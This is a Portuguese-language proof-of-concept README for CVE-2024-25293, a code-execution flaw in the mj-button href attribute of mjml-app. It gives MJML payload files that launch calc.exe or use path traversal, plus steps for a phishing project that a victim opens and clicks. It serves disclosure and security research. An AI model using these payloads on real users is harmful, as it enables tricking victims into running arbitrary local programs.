Prova de Conceito de Execução de Código Local no MJML

Uma Prova de Conceito para a vulnerabilidade CVE-2024-25293.

Foi descoberto que o mjml-app v3.0.4 e 3.1.0-beta contém uma execução remota de código (RCE) Neste repositório há um exemplo de aplicação vulnerável e um exploit de prova de conceito (PoC) para ela.

Como PoC, há um arquivo Python que automatiza o processo.

1. Visão Geral da Vulnerabilidade:

• Assunto da Vulnerabilidade: Execução de Código Local
• Versão Vulnerável: mjml-app 3.0.4-win e mjml-app 3.1.0-beta
• Tipo de Ataque: Execução Remota de Código
• Componente do Ataque: Na tag 'mj-button' dentro do arquivo de código-fonte afetado, o atributo 'href' permite a execução de código local.
• Número CVE Reservado: CVE-2024-25293

2. Causa da Vulnerabilidade:

• O mjml-app 3.0.4-win e o mjml-app 3.1.0 beta sofrem de uma Configuração de Segurança Incorreta na tag 'mj-button', que pode resultar em execução arbitrária de código.
• Explicação do Exploit
  • Executar arquivos locais através de tags de evento em aplicações mjml representa uma ameaça à segurança. Além disso, o código pode ser executado combinando Path Traversal dentro da aplicação, sendo necessária uma correção.

Prova de Conceito (PoC)

Passo 1) O atacante cria um 'mj-button' com uma tag 'href' e

• caso 1) Execução de Código com Path Traversal (notepad.exe)
• caso 2) Execução de Código (calc.exe)

<mjml>
  <mj-body>
    <mj-section>
      <mj-column>
        <mj-button background-color="#f45e43" color="white" href="C:\Users\EQST\Desktop\jruru\..\jruru_hacked.txt"> jruru </mj-button>
        <mj-button background-color="#f45e43" color="white" href="C:Windows/System32/calc.exe"> Code Execution </mj-button>
      </mj-column>
    </mj-section>
  </mj-body>
</mjml>

Passo 2) O atacante cria o projeto de phishing principal com o seguinte código.

<!-- header.mjml -->
<mj-section>
  <mj-column>
    <mj-text>This is a demo jruru</mj-text>
  </mj-column>
</mj-section>
<!-- main.mjml -->
<mj-include path="./index.mjml" />

Passo 3) A vítima abre o projeto compartilhado e clica no botão, acionando a execução do payload (ex.: calc, notepad)

3. Informações Adicionais

Executar arquivos .exe através de tags href dentro de uma aplicação é arriscado, e executar arquivos em combinação com Path Traversal é uma preocupação de segurança. Isso permite que projetos de phishing sejam criados e implantados para executar arquivos locais. Portanto, é essencial modificar esse recurso para evitar tal execução.